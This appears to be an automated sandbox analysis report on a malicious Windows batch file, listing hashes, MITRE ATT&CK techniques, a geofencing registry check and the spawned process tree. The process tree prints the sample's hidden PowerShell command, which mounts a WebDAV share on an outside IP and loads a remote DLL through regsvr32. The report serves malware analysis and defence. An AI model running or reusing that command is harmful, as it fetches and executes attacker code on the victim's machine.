ff83e8daabc6d19fa7b967227d331950622d9c9a10334d5bc7030d0d9fd22a08

Analysis

max time kernel
141s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 08:22

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General

Target

188801557063505556.bat
Size

23KB
MD5

8e9c8e3250b7a2cbe19b77dbbcdb3420
SHA1

9f7dcfb3b726549c38addb5e397dce1826d40753
SHA256

ff83e8daabc6d19fa7b967227d331950622d9c9a10334d5bc7030d0d9fd22a08
SHA512

c0f5a0640bb42fd34b92998b334aec40ca31509a3b16e93907f22c3dd3d0d27adcc9e58eba685ce3148eebdf1411e6f490e258bec6740fa3598f48abc017f3b8
SSDEEP

384:+tZmEQtnt8TcDAtJ9NPcRdUtOp7etAKqDLHj0sMqFVqkMwlmbzOtRij9O:+tZmEQtn/EPjtOwID0sM8VkWmvOtRi5O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3316	wordpad.exe
3316	wordpad.exe
3316	wordpad.exe
3316	wordpad.exe
3316	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 3316	4896	cmd.exe	85
PID 4896 wrote to memory of 3316	4896	cmd.exe	85
PID 4896 wrote to memory of 2560	4896	cmd.exe	87
PID 4896 wrote to memory of 2560	4896	cmd.exe	87
PID 2560 wrote to memory of 4712	2560	powershell.exe	89
PID 2560 wrote to memory of 4712	2560	powershell.exe	89
PID 2560 wrote to memory of 3716	2560	powershell.exe	90
PID 2560 wrote to memory of 3716	2560	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\188801557063505556.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4712
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
    3⤵
    PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bib5tr4w.x2h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2560-2-0x000002B11DDF0000-0x000002B11DE12000-memory.dmp

Filesize
136KB

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